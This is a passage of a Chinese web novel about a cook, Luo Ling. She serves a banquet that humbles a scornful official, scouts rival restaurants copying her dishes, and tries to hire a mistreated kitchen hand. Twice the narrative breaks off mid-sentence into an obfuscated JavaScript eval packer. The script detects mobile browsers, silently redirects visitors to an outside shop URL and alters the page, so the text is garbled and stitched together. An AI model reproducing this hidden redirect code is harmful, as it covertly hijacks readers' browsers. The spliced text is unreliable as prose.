待罗姈将其盛装在定制的琉璃水波盘中呈上之时，两位食客都已看呆了。 “好一出赤鲤入水！”章明达抚掌赞叹，“今日真是叫章某大开眼界了。” 罗姈谦虚应下：“大人见笑，头盘——松鼠鳜鱼，请用。” “头仰尾巴翘，立作松鼠，盛若珊瑚，罗娘子还真是别出心裁。” 第一道菜就如此技惊四座，莫说章明达，这下子万闲都挑不出不是，只得悻悻举起了筷子。 新鲜炸好的鳜鱼配上浓稠的糖醋卤汁，一口下去 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罗姈手脚不停，耳朵不歇，听到万闲的主张也不恼，招来小春窸窸耳语，顺手解救了被其恨恨捣成烂糊的可怜蒜泥。 小春听了罗姈的意思，想到能在这贼眉小人身上敲一笔，愤懑的心情骤然转晴，乐颠乐颠地跑去准备。 不过这万闲虽喜欢斜着眼睛看人，但有一点说得不错，她的刀工确有不足。 原先她拟的头盘本是玲珑牡丹鲊，试了数回牡丹的形状雕得都不到位，实在是欠缺意境，拿不出手，这才退而求其次做了松鼠鳜鱼。 可就是这鱼背剞花她都切得不够匀称，松散了两处，不甚完满。 还是基本功欠缺，罗姈有些郁闷，可她也知道这不是一时一日能练出来的。 罗姈垂头转着思绪，手里也没闲着，第二道菜也迅速出了锅。 “赛螃蟹，二位大人请用。” 谁成想刚一上桌就叫万闲拍桌喝退：“好你个欺客的店家，竟敢明目张胆骗到我们官身头上来了！” 他逮着了机会，大声嚷嚷：“今儿个非要查办了你这黑灯小店不可！” 16. 河鲜宴（下） 罗姈一头雾水：“无端端的，万大人何出此言？” “方才我一直瞧着，你就往锅里搁了几个鸡蛋罢，谎称蟹肉，这不是欺客是什么？” 万闲言辞凿凿，捉住错处就不放。 原是因为这个，罗姈失笑：“大人恐未听真切，我将才说的是‘赛螃蟹’。” 她细细解释：“这菜本就是以鸡蛋来拟蟹的风味，可不敢欺瞒大人。” 章明达亦站起来：“这倒真是新鲜，鸡蛋还能做成河鲜？” 他接过盘子，拨弄两下盘中作配的□□，举到万闲眼前：“乍一看，还真像那么回事儿，是吧万大人？” “食膏蟹可是要依着时令的，九月蟹肥，腊月里能一解相思，章某还要多谢罗娘子。” 眼见着章明达给对面帮腔解围，自个儿再孤零零诘问反倒痴愚，万闲只好忍着愠怒坐下，眉毛一横，冷哼：“那就尝尝，若是不像，一样要治你的罪。” 说罢，拣了一筷子在舌尖一抿。 细嫩、滑润，并着米酢的醇香，还真有那么几分意思。 但万闲是决计不会承认的。 他撇撇嘴：“不过尔尔。” “唔……”章明达举著不定，细细回味，倏地眼睛一亮，“里头还添了腌蛋黄？” “是了，章大人好灵的舌头。”罗姈颔首，“我这用的是承州府的腌蛋，口感绵沙，有它入此肴才可真正称为‘赛螃蟹’。” “不错不错，仿得肖似。” 章明达盖棺定论，徒留万闲在一旁哑口无言。 他不明白，这章大人怎尽向着庶民说话？ 此时，小春携着第三道菜慢步而来，高声唱和：“龙凤虾仁——” “大人请用。”小春放下绘制着龙凤的青瓷碗，想到一会儿能敲万闲的竹杠，这嘴角怎么也掉不下来。 见小春藏不住尾巴，罗姈赶忙使了个眼色驱走。 自己则好整以暇，从旁亲自介绍：“此一道是今日的招牌，以龙凤团茶入肴，煨上上好的高汤，茶香沁里，堪配宫中御膳莲房鱼包。” “嗬！小小厨娘好大的口气！”万闲嗤笑，“这龙凤团茶可是皇家贡品，便是相府也不过分得一二饼尔，岂是你一介市井小民随意取用的？” 他轻哂：“还是说，这又是什么‘假菜’，这贡茶也拿高沫替了？” “龙凤虾仁如假包换，大人一试便知。”罗姈微微一笑，做出请的手势。 破落户就是破落户，装什么门楣。万闲内心冷笑一声，决意这把定要好好治她一个欺诈之罪。 让她好好长长记性，日后不敢妄图接触显贵。老老实实做些粗茶淡饭，喂那些哈巴狗下力足矣。 万闲用羹匙舀起一枚玉白的虾仁，并着茶汤一道送入口中，只是浅浅的一口，不得不说，真是清香入喉，回味悠长。 虾中有茶，茶中有虾，香气郁丽，经久不散…… 罗姈无情地打断了他的回味：“万大人，如何？” 万闲骤然惊醒：“咳咳……” 罗姈追问：“是龙凤团茶否？” “这个……”万闲依依不舍地放下筷子，心里头直打鼓，他一介六品小官，哪里喝过龙凤团茶那样的珍品。 于是心虚地看向章明达：“章大人觉得呢？” 章明达玩味地摸摸下巴：“像……” 万闲心头一跳，该不会今儿真要在这儿折了面子吧，然章明达霎时转了口风，救他于危难之间—— “也不像。” 这种好茶他没喝过，章明达肯定喝过，万闲登时来了底气：“罗娘子还有什么话好说？可再要延请你们食行行首来断？” 章明达意味不明地笑笑，又咂摸了一口茶汤，叹：“唉，这茶入了菜，让人混淆，委实不好分辨呐。” 罗姈明了一笑，合着有人打着讹茶的主意呢。 也罢。 她素手一抬：“小春，上茶。让大人们再好好品品。” 小春悄声嗫嚅：“娘子……真要上啊？” 这龙凤团茶可是有市无价的宝贝，当初就顺手从家里“捎”了半饼，她们自己都不够喝呢，还要分给这两个混货！ “招待贵客，自然要尽心。”罗姈故意道。 言毕斜了章明达一眼，岂料对方还真是没脸皮，冲她隐晦一笑。 小春小心翼翼地奉上茶盏，万闲撇在一旁理都不理，心里已经在盘算着一会儿要怎么教训罗姈这等小小蚁民了。 章明达还在慢悠悠品香，末了抑不住开颜：“一杯神魂清，好茶好茶！” 满足了口腹之欲他也不再耍滑，直截了当给了万闲沉重一击：“仔细尝尝，罗娘子用的确是龙凤团茶不假。” 万闲脸上唰地青白：“这、这……” 这怎么可能？区区市井小民怎会用得起宫中贡品？ 而罗姈却没追究他频频生事：“万大人，若再无疑虑，可传下道菜否？” 也不待其答复，罗姈拍手立召，小春顺势呈上最后一味——琵琶豆腐。 时人做琵琶豆腐，惯以火腿吊出咸鲜，但罗姈想这“鲜”之一字，除咸盐外，海味也是一个不错的选择。 是以这道菜罗姈选用了江瑶柱做芡汁，浇在外酥里嫩的豆腐丸子上。 软嫩的豆腐，弹牙的青虾，碰撞到鲜美可口的江瑶柱，混合在口中，一会儿一抿即化，一会儿在齿间又发出“咯吱咯吱”的声响，脆弹得厉害，口感极妙，鲜之至也。 章明达吃得欢，对面的万闲却是食难知味。 先前赛螃蟹和龙凤虾仁那两番闹腾都做了笑话，苦把他憋成个紫皮落苏，心头不爽利，哪还尝得出菜肴滋味。 这可全便宜了章明达，他吭哧吭哧兀自用个不停，不过他也奇道：“罗娘子，这豆腐丸子分个儿盛在这杯盏里是何讲究？” 一览过去，食具如春笋一般节节向上，依次排开，确然奇怪。 罗姈神秘一笑：“章大人用完，用手中玉著敲上一遍看呢。” 章明达是个好玩乐的性子，马上依言行事。 “叮、叮、叮……” 每敲一下，音阶层级递上，发出悦耳的脆响。 随着最后一声落定，室内忽而响起呼应之声。 初闻如野泉滴砚，细聆又如银珠走盘，继而幽幽淌出琤崆凤鸣。 章明达与万闲皆是乐中痴人，犹擅此道，四目相对，恍然难信。 他们沉浸其中，不敢妄语。 一曲毕，章明达抑不住开颜，又拾起筷子叮叮当当，方才拂过心坎的韵律在他手中即刻复现。 应着这曲调，逢莺步出香扆。 “新谱的《江水寒》让大人们见笑了。”她福身施礼，盈盈一拜。 “逢莺娘子妙手，真叫我教坊司汗颜呐。”万闲拱手作揖。 章明达还在研究，他奇道：“罗娘子，你这杯盏怎么做的，能发出如此纯净的音调？” 其实罗姈不通乐理，这些巧思俱都仰赖易礼帮忙实现。 她笑而不答：“章大人，怎么样，这琵琶豆腐是不是好吃又好玩？” 如循旧例，这席面上的第四道菜应安排龙凤虾仁才是，毕竟食材金贵又清口，拿来压大轴最合适不过。 但前几日逢莺专来寻她，说谱了首新曲愿来弹唱，她便想着莫不如改用琵琶豆腐作结，用“假琵琶”引出“真琵琶”，让食客们乘兴而归，似乎更有亮点。 “哎呀呀……”章明达笑得合不拢嘴，“我说这菜为何叫‘琵琶豆腐’呢，罗娘子诚不我欺。” 这真真假假的一出河鲜宴，既供美食又佐美乐，切切实实美到了章明达这般风雅饕客的心坎上，他斜睨一眼万闲，对方讪讪垂首，再不敢狂言。 罗姈大方表示：“诸位大人满意就好。” “满意！满意！罗娘子一棹扁舟，我这肚皮都做了小池塘啦。” 章明达一番逗趣，引得众人齐乐。 不过很快，万闲便笑不出来了。 账台前，他大惊失色：“什么？这桌席面要六两？” “燕云楼酒肉一巡至多也不过七八钱罢，你这是狮子大张口啊！” 罗姈一捋算珠，笑得月牙弯弯：“若是寻常食客，今日一桌只消六钱，但既是万大人亲至，小店当然要以最高规格接待。” 她掰着指头一点一点算给万闲听：“松鼠鳜鱼用的是如意楼的花雕，赛螃蟹用的是承州府的腌蛋，琵琶豆腐里的江瑶柱我珍中选珍才得那么一点儿。” “更不要说龙凤虾仁，寻常我都是用龙井茶的，只有接待万大人您，小店才舍得用龙凤团茶啊。” 小春在一旁帮腔：“万大人身份贵重，小店必须拿最好的招待。” 一口茶能换十倍银，她还肉疼什么，现在小春巴不得万闲多喝几口。 “这六两我还没算乐师钱呢。”罗姈笑眯眯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528193|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一点儿也不心虚。 “这些食材你说是便是了？”六两要他小半月俸银了，万闲气得直跳脚，“区区脚店张口就来，显然是个黑店，我要告官去！尔等贱民胆敢私卖贡茶！操奇计赢，搅乱市场，敢收我六两银子，我让你尝尝二十板子！” 说着万闲便气吼吼往出走：“章大人你拦着我作甚？” 章明达便愈发使劲，硬生生给万闲按在了原地，他语重心长道：“万大人，劝你还是别去的好。” 他就奇了怪了，今日这章明达怎的处处帮着这些贱民？ 万闲气极，正要再骂，被章明达扯到一旁，窃窃私语：“不是我章某不想帮万大人，只是……确实开罪不起啊。” 见章明达一脸为难，万闲迷糊道：“什么意思？” 章明达疑惑：“万大人不知道？这罗姈罗娘子是罗相之女啊。您要有胆气您自己去告，在下可不蹚这浑水。” “什、什么？” 章明达语气淡淡的，浑不觉自己投下怎样一颗惊雷。 “前几日京城里都传开了，我以为你知道的。”章明达一脸真诚。 “……”万闲语塞，他连日拘在宫里排演，他知道……他知道个棒槌！ 天爷，他都干了些什么啊？ 想到自己竟然三番五次对相国掌珠恶语相讥，万闲腿肚子都吓软了，靠章明达提溜着后领才勉强站住。 罗姈蹙眉：“万大人想清楚了没？是付六两银子还是对簿公堂，我罗姈奉陪。” 她可不怕见官，她既没作伪，卖的就是龙凤团茶，那么不管是一口还是一杯，这价格就由她说了算，谁叫这东西有市无价呢。 “呃……”万闲小心翼翼抬眼瞧罗姈脸色，不自觉吞了口唾沫，一张如丧考妣的脸堆出一个实在难看的笑，“罗娘子息怒。” 顷刻攻守易势。 他倒也狠得下心，抬手就给了自己一耳光：“小人有眼无珠，小人猪油蒙心……” 啪的一声，十足响亮。 一个不够，就再打十个，只差跪地求饶。 “哎哎哎，别打了，只说这银子付不付罢？” 罗姈懒得看这种毫无诚意的悔过戏，她只在乎银子，真真真切切能到手的银子。她要是真计较身份地位，早搬出来抖威风了，还能给万闲第二次奚落她的机会。 “付！当然付！” 亲娘嘞，这弄不好影响仕途啊！ 万闲苦笑着照单全收，不敢再讨一个子儿。 带的钱不够，还向章明达借了款。 掂着手里的荷包，章明达若有所思：“欸，这乐师钱还得另付吧？” 原是罗姈后头一起给逢莺结算的，听这话头，她顺坡而下：“是呢，逢莺娘子还配的新曲，技惊四座，这赏钱万大人多少也该表示一番。” “我已经借了二两了……”万闲欲哭无泪地指着自己的鼻子。 然不等他哭穷章明达就抢道：“此曲只应天上有，人间哪得几回闻，逢莺娘子这曲《江水寒》可称无价。” “在下余钱也不多了，实在委屈逢莺娘子，”说着将自己整个钱袋子直接塞到逢莺手心，偷偷冲她抛媚眼，“万大人心里肯定是厚赏的，奈何手头拮据，娘子莫怪。” 末了拍拍万闲的肩，低声耳语：“借款一共六两六钱外加六个铜板，万大人千万别记岔了。” 好家伙，无冤无仇的，为博美人一笑下手比她还狠，罗姈壁上旁观亦觉戚戚。 心头警着神，日后万不能得罪这尊笑面佛。 三日后。 新正将至，各路集市上人流如织，车马阗街，罗绮溢目。 喜庆的红色铺天满地，也映红了百姓们的双颊，人人喜乐，善气迎人。 而此众生相中独独没有罗姈，她紧蹙眉头，左右张望，形迹十分可疑。 “娘子！这儿呢！”小春高呼，远远指向一面高悬的崭新绣旆。 那迎风飘摇的青帜上写得却并非酒单，而是—— 爆炒鸡杂、松鼠鳜鱼、赛螃蟹。 往巷子里一望，里头各家食店的大帘招牌菜都是那么眼熟。 想来此地就是易礼说的那条“东施街”了。 仿她罗姈的招牌，她可要好好会会。 罗姈按下一口气，重新又整了一遍帷帽，确保将面容遮得死死的。 然还没等进巷子口，天杀的，抬脚正撞见国子监那群老熟人！ 17. 瓜蓉鳖裙羹 “哎呦喂，从未见过西康门有这许多人。” “还不都冲着新鲜吃食来的。”说话的人侧身避让，这市集里摩肩接踵，令他好生烦躁。 张七郎索性换了条道儿，逮着机会虚虚一踹：“都怪你，非是要去捕那劳什子冰鱼，鱼没捞着，可倒好，饭也没得吃了。” 被踹的唐四郎哼哼两下，夹着乡音嘟囔：“我啷个晓得这地方生意这么俏嘛，才不过迟了半刻，队伍都排到外头来了。” “方才那王记还有两桌空席，你又不肯。” 张七郎白眼一睐：“他们家没有爆炒鸡杂，我就念那一口！吃不到还不如不吃！” 身后的同窗提议：“要不然咱们多走几步去广和居？前日路过，我瞧着他们家也出了这些个时兴菜式，比这厢人少。” 唐四郎率先摇头：“广和居的郭胖什么都好，就是不擅炒制，张老七这张刁嘴怕是能撅出二里地。” 一人又道：“吃炒菜……那不然去旁边的如意楼？” 张七郎嘴巴一撇：“如意楼？我要有那个钱，就直接上百味坊了。” 说的也是，如意楼一顿可不比百味坊耗费少。 “那咱们吃什么呀？” 少年郎们费了一上午力气凿冰兜鱼，此刻是饿得是前胸贴后背了，还拿不定主意。 恰时远边摊贩传来吆喝—— “乳酪乳饼，金银团子咧……” “左也不行右也不行，要我说干脆买两个面饼子啃啃得了，我那网子里该上鱼了。”唐四郎挠挠头，心里还惦记着他的宝贝冰鱼。 “嘁！说好了上馆子来，怎么又啃饼子去了？难得年底手头还剩两个子儿，咱们应该潇洒潇洒。” 有人持反对意见。 “要潇洒你们潇洒，我买大饼。”张七鲜少与唐四站一边，“反正吃不到爆炒鸡杂了，这钱我情愿攒着，赶明年百味坊的头签你们都别跟我抢嗷！” 也是，左右这些食店供得长远，百味坊的新鲜花样就供一旬，吃一次少一次，该紧着那头才是。 监生们想想深以为然。 言谈间那糕饼贩子越走越远，终于达成一致的几个少年郎忙不迭加快脚步，追逐乳饼的甜香而去…… 目送监生们远走一射之距，罗姈才敢掀开帷帽。 与客人在对家食店打个照面罢了，她是厨子她躲什么？ 反身从人群中艰难脱身，罗姈唾弃自己这个爱替人尴尬的毛病。 “娘子，那里间的食肆个个都坐满了，腾不出空儿。”小春在后头扯扯罗姈衣袖，将方才探到的消息一五一十地告知，“那掌柜说他们也送索唤，不过要两个时辰后才有人手。” 两个时辰？那都能算作暮食了。 看来他们的生意是真的好。 前几日百味坊的客流量明显下滑，罗姈以为是年关将至使然，没当回事。还是易礼特意前来知会，说西市有一整条街的食店都在仿她的食单，不限时不限量且价格实惠，不少老主顾都归去了那头。 连老主顾都去了，终于让罗姈生出几许危机感。 这不今日她专程出来打探，谁料连大门都没进去。 “这界儿没座便算了，咱们去广和居瞅瞅。”罗姈很快改了主意。 按方才那些监生所言，广和居也效仿了她的食单，比起这些街边脚店，广和居可是正经正店出身，虽说如今没落了，但掌勺的郭厨子到底是能在长安城排得上号的名厨。 也跟着拾人牙慧，多少有些出乎罗姈意料。 据她所知，广和居是以炖煮菜出名的，不知是仿的是她的参鸡汤还是龙井虾仁。 转过一条街，那揽客青帜上斗大的字却教罗姈一愣。 「爆炒鸡杂。」 怎么还是炒菜？那郭厨子不是不擅炒制法吗，这是……技艺精进了？ 罗姈领着小春进店，逡巡一圈，客人三两分坐，并不很多。 待她们自寻了角落坐下，才有伙计慢悠悠踱步而来。 “二位吃点儿什么？” 语气也散漫怠惰，罗姈不禁皱眉：“头回来，可有推荐？” “都在那儿呢，自己看吧。”下巴一扬，茶水一搁，那张嘴巴再张不开半分。 可广和居用的还是老式食牌，林林总总挂满一面墙，离他们的座位远得很。 不过不管能不能看清，小二这般做派，罗姈都有些不愉了。 “你这是什么态度？自家菜名都报不出吗？”小春是个急脾气，扬声喝问。 其余三五食客俱都转过头来瞧热闹，后厨的人也听到动静，急忙跑出来。 想来此人应是庖长郭胖了，人如其号，长得跟个膨起来的油墩子似的，跑两步肉都颤乎。 “娃刚入行，招呼不周，客官多担待。”他倒是会做生意，赠上一碟瓜子花生，小意安抚，“您想用点儿什么跟我说，我们家刚推出的爆炒鸡杂要不要试试？” 说着摆手将儿子赶到身后老母鸡似的紧护着，生怕罗姈她们找他麻烦。 罗姈也懒得计较，毕竟今日是来探查的，不能空手而归，顺着阖眼揭过：“只听闻郭厨您的炖菜一绝，没想到炒菜也拿手，那就尝一尝，还有什么时兴菜都上一份。” 话音刚落，门外就有人高声叫嚷：“店家可做得松鼠鳜鱼？” 随即乌泱泱进来一批人，手里抄着家伙，看样子就不好惹。 “做得做得……”郭胖又忙赶去那边奉茶。 那伙人随后又点了几个菜，全是炒菜，郭胖无有不应。 伺候完那头，擦了擦额间薄薄一层隐汗，才过来赔罪：“劳娘子久候，爆炒鸡杂、松鼠鳜鱼都是如今长安城最风行的，可还要添点儿什么？清口小菜要不要来一份？” “添个鱼圆豆腐汤。”明明是先来的，却被晾了半盏茶，罗姈彻底没有好脸色，语气比茶水都凉。 难怪广和居生意不景气，这般怠慢客人，就是炖神仙肉她都不来。 郭胖嗫嚅赔笑：“实在不好意思，今日没有做鱼圆，客人要不换个白菘豆腐汤？” 罗姈皱眉：“鱼圆豆腐汤不是你家招牌菜吗？” 她记得郭胖就是凭借着打鱼圆的手艺在长安城立足的。他的鱼圆吃鱼不见鱼，弹嫩爽滑，汤鲜味美，常年热销。 这菜可是他郭胖的头号招牌，怎么会没有做呢？ 郭胖赧然地摸了摸头巾：“现下客人多想吃小炒，鱼圆汤费工时又卖得少，便少备了。” “我家招牌不止一个，您想来口热汤，要不来个瓜蓉鳖裙羹？刚好厨房还剩最后一只鳖。” “只是……”郭胖稍顿，“我们这鳖是时令价，冬雪价贵，您……” “无妨，就它了。”罗姈颔首，她总要吃一口看家的清炖手艺，才不枉来这一趟。 她也瞧出来了，估摸这鳖是卖不出去的存货，正好碰上她这么个看起来就不差钱的主儿，赶着脱手呢。 罗姈没吃过鳖，都说鳙鱼吃头，青鱼吃尾，鮰鱼吃肚，甲鱼吃裙，她还真挺想尝尝这裙边到底是什么滋味，能让谦光和尚发愿，冀望“鹅生四只脚，鳖着两重裙”。 郭胖收了单，忙不迭去备菜，经过那小跑堂时还不忘耳提面命：“臭小子你给我醒着点儿神，再招呼不好客人，月钱你甭想了！明日要还背不出食单，我就叫你阿娘回来日日守着你，看你还怎么逛戏楼！” 吃了教训，小跑堂才收了散漫，勉强忙碌起来，又邀了两位食客进门。 约莫过了一炷香开始传菜，那桌汉子一招手，跑堂就先往那儿去。 角落里的小春不忿：“凭什么？明明是咱们先来的！” 罗姈按住她：“别冲动，那伙人一看就是放印子钱的，不好惹。” 要是真起了冲突罗姈倒也不怕，只是对面人多手里又趁着家伙，争起来肯定是她们先吃亏。 好在广和居上菜也快，没等太久她们的爆炒鸡杂和松鼠鳜鱼就呈了上来。 小春迫不及待抄上一口鸡胗，嘎吱嘎吱——居然嚼不烂。 口味也怪怪的，明显有点土腥气没去净。 罗姈都没入口，一看一闻就放下心来。她就知道，没有具体的食方，这些同行们只能仿形不能仿神，算不上大威胁。 “唔……这个更是差远了。”小春又用了一口鱼肉，连连摇头。 但罗姈却被这道松鼠鳜鱼攫取了目光。 漂亮，真漂亮…… 金色珊瑚如礼花般绽开，形状匀称，鱼肉紧实，刀刀深浅一致，足见功夫。 旁边还配了朵炫技的萝卜花，亭亭而立，薄可透光。不由让她想到旧时记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548454|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斫鲙师傅那句“縠薄丝缕，轻吹可起[1]”，便是如此了吧。 小心捻了一块鱼肉入口，闭气慢嚼，罗姈面上满是赞赏：“非也，这个最近了。” 小春不解，又尝一著，犯起了嘀咕：“我吃着和娘子做的天差地别啊？” 罗姈摇摇头：“区别只在于口味，若论庖技，是我技不如人。” 她不禁想，若是能用这条剞花鳜鱼做底，再浇上她配置的茄汁，就是一道真正完美的松鼠鳜鱼了。 “那胖厨子呢？滚出来！” 平地一声吼，打断她们的私下评议。罗姈扭头一望，小跑堂竟和隔壁那桌恶汉争执起来了。 只见郭胖再次急赤白脸地奔出来，好说歹说隔开了两头。 领头的汉子啐了好大一口：“炒的什么玩意儿？跟脚皮似的，是给人吃的吗？” 郭胖笑着赔罪：“老爷息怒，这大刀肉片就是这样。” “我呸，都难吃的要死，七八个菜没一个能入口的，就这样也好意思开食店？” 话是这样说，可他们盘子里的菜却不剩多少。 正瞧着热闹，忽而一个清丽的女声唤回了罗姈的神。 “娘子，您点的瓜蓉鳖裙羹。” 一双素手捧着陶盅，递到罗姈眼前。 手指纤白，陶盅熟黄，羹汤青浅。 十分悦目。 罗姈当即就着用了一口，裙边软糯肥美，瓜蓉绵软清甜，一下子就征服了她的舌头。 那郭胖能混到如今的地位，果然还是有两把刷子的。 然而不等她抬头，前来奉菜的女郎突然被拉走。 郭胖拽着她，推到那桌恶汉面前：“诸位老爷实在抱歉，今日是我这徒弟第一次上灶，做得不好，我代她向诸位赔不是了。” “我……” 那女郎正要说什么，被郭胖粗暴按下头，不给任何机会：“崔平你愣着干什么，还不快给客人道歉！” “……对不住诸位爷，是我粗苯，学艺不精。” 声音伏低，瓮在委屈里。 罗姈在一旁看得清清楚楚，一个围裙全是油点子，一个围裙全是水点子。那崔姓女郎分明只是个洗菜切菜的帮工杂役，干的都是粗使活计，却被推出来扛下所有罪名。 “污糟了老爷们的心情，今日这桌不用银钱，算作赔罪，只求诸位爷宽宽手。”郭胖做低伏小，一身横肉挤在一起，弯得难看极了。 听到了满意的回答，又推拉一阵磨嘴皮，那伙人才大摇大摆地走了。 终于送走了瘟神，郭胖扶着腰颐指气使，睨着崔平理所当然道：“这桌饭钱从你月钱里扣。” 不管谁的过失，左右他不能吃这个亏。 又克扣工钱，她什么时候才能凑够孩子上学的束脩…… 水雾顷刻蒙住眼睛，崔平想反抗却无力，孤零零站在原地，死死咬住嘴唇：“……是。” 熟练地生生咽下涕泪，她无暇细品今日的是不是比昨日的更多几分咸苦，就匆匆赶去后厨继续做事。 “阿爹，那伙人分明就是来吃白食的！”待人走远，小跑堂终于忍不住道。 “小声些！他们可是邹家的人，惹不起！” 郭胖擦擦满头的汗水，拎着儿子的耳朵：“你小子以后迎来送往给我机灵些，冲撞了大人受苦的是你自己，到时候挨了打爹娘也没辙救你。” 这京畿一带随意掉一片瓦，砸中的都是五品官。 就自家臭小子的性子，郭胖真不放心他出来迎客。 “那您别让我干这个了，也给您省点儿心。”小跑堂吊儿郎当地歪头，满不在乎。 郭胖收着手轻轻给了他后脑勺一下：“你以为我不想你进后厨啊，我还指望你继承家业呢，要不是你小子不争气连刀都拿不住，我至于在外边买个小工帮衬吗？” 瞅了眼后厨麻利切菜的侧影，郭胖愈发恨铁不成钢：“连个娘们儿都不如！把儿白生了！” 父子俩争吵着，没注意到一袭罗裙悄然而至。 “呵，连个娘们儿都不如？” 罗姈斜幽幽冷刺过来，重复着郭胖的话，一双俏眼如匕抵喉。 “郭师傅如此瞧不上女子，还腆着脸盗仿人家百味坊厨娘的食单。” “是自觉下贱，不堪为人吗？” 18. 馒头 “来人——香茶果子，雅座伺候！” 瓦子里的小厮热情地将罗姈和小春接引到二楼：“二位娘子要听哪出唱本？” 今儿个高兴，罗姈大手一挥，示意将戏单给小春过眼：“想看什么，点！随便点！” 小春也不客气，喜滋滋点了一连串。 小厮领命退下，行至一半，被罗姈叫住：“哎——叫个闲汉来，暮时给我们送索唤。” 今儿个难得不做工，她答应了小春来听戏，自然是要让她尽兴才是，索性在瓦子里泡上半天，偷一曲闲。 戏影罗裙迷人眼，紧打慢唱天阶凉。 暮色四合，闲汉依时送来索唤—— 西康门王记的赛螃蟹、李店的爆炒鸡杂、张家的琵琶豆腐等等，不一而足，补全了午时的遗憾。 至于味道么…… 毕竟食无定味，适口者珍[1]。 她只能说五花八门，各有各的“精彩”。 罗姈放心地放下筷子，听小春咯咯直乐：“娘子我吃一口这爆炒鸡杂就想起白日那郭胖的脸色，真是痛快！” “好似他不是娘生娘养的，如此作践女子！” “娘子言语相讥，他都不敢还嘴，窝囊死了！” 小春一面闲话，一面大快朵颐，拿人笑料佐餐，格外开胃。 罗姈抿一口茶水：“像他这样的人，胆小惯了，平生最怕得罪人。七尺高的汉子不敢惹，一尺八的姑娘就觉得好拿捏了，欺软怕硬，无耻至极！” “只是可怜那一双巧手，就此埋没了。” 以那郭胖子的德行，纵使他儿子再烂泥一块，也绝对不会外传手艺。那崔家娘子或许一辈子就要折在广和居里，洒扫灶台，不见天光。 她今日出头替她臭骂一顿，也只是帮她出口恶气，治不了偏见之根本。 罗姈摇首轻叹，无可奈何。 锣鼓渐悄，天色亦晚，小春玩耍尽兴，她们也准备打道回府。 转身下楼，罗姈无意扫见一身熟悉的粗布麻衣。 “班主，我这孩子可伶俐，擦桌送水，跑腿看座，绝无差池。”崔平红着脸将孩子推到戏台班主面前，乞声道，“您就收他做些杂事罢。” 班主无奈：“我这里不缺人，何况你的孩子又那么小，五六岁能干几个活儿？” “不要几个钱，就做三个月零工，但求您赏口饭吃。” 崔平红了眼，东家嫌弃，不让她把儿子留在店里看顾，她实在不放心把他一个人丢在那乱糟糟的弄堂里，只好在外头找点零工补贴，有人看着还能省点饭钱。 这瓦子里的棚头都走遍了，没有人肯收留，她实在是没法子了…… 崔平不得不矮下身子，昧在楼梯转角的阴影中，明烛顾不到的地方，骨头都是薄薄一片。 “求您可怜。” 轻扯衣角，孩子也顺势跪下，稚嫩应声—— “求您可怜。” 班主闻声眼睛一亮，这小伢嗓音清越，倒是个说唱宫调的好苗子。 “打杂我不缺，你这孩子条件不错，嗓子亮堂，可以拜我门下，跟我学唱。” 对于穷苦人家，有师父照拂，学一门技艺傍身，是顶好的出路。 且学艺学得好，便能早早出来挣钱，她一个寡母带儿，也能早些解脱。 一般妇人得了这话只怕是要感恩戴德地磕谢，崔平却一下子急了。 “不、不行！” 攥紧磨破的衣角，拉着孩子起身就走。 班主惜才，追步挽留，点明好赖：“做杂役才能养糊几口，跟着我学唱戏，可是能吃一辈子！” 崔平涟涟抬眸，眼神前所未见的坚定。 “他要读书。” 罗姈脚步一顿。 本只经过，看出遍地的佝偻戏，此言一出，惹她多看一眼。 思量再三，瓦肆外，罗姈叫住了她。 “崔娘子留步——” …… 翌日。 清晨早市喧腾，朝日将蓬勃的蒸气遗失在各家朝食铺子里。 这早市上的馒头都是半夜就开始发面，经由十数年的巧手撵转，不须模具比量，大小重量无一不齐整。 再添上街坊邻里无数双舌头都认可的内馅儿，十八道细褶螺旋封锁，将肉糜的鲜美、菜蔬的清甜全都关在里面，只待冒着晨雾步履匆匆的行人搭救。 罗姈起先只想顺手“搭救”两个，毕竟一旁的摊位上还有几个韭合在油锅里仰面挣扎，她实在于心不忍。 没料到那油汪汪的肉汁甫一获救就尽数涌了上来，将她的唇、她的舌、她的牙齿全都俘虏，她只好举手投降，心甘情愿再救四个。 看小春胃口出奇得好，罗姈生怕她吃不饱，便将自己的馒头又分了一半过去。 小春大口嚼着肉馒头，吃得倍儿香，砸吧砸吧将最后一点儿肉糜咽净了，又接过罗姈给的菜馒头，间隙嘟囔：“娘子，我昨夜睡得不香。” 见小春的小脸儿又团起来，美味地眯起圆溜溜的眼睛，便好像这暄馒头落进她自己胃里一样安定。 “瞧着是有几分乌眼青。” 罗姈顺手捻开小春唇边与主人一样贪嘴的发丝，将她往怀里护了护，免得撞上脚夫的担子，又红了鼻子。 小春专注对付手里的油纸包，不看路，但凭罗姈牵引着。 不过这眼睛歇了，嘴巴却兼着两份工，吧嗒吧嗒竹筒倒豆子般：“我想了半宿真的想不通，那崔家娘子缘何拒绝到咱们家做帮厨啊？您给了这么好的饭辙，难不成那郭胖子还会开出比您更高的月钱？” 想都不用想，以郭胖的抠搜程度，绝不可能。 她给崔平开的可是顶薪，一个月六两，还不算赏钱，这条件就是燕云楼的帮厨也挖来了。 “情愿在郭胖手底受气，她怎么想得？”小春撇嘴。 “好啦，”罗姈顺毛 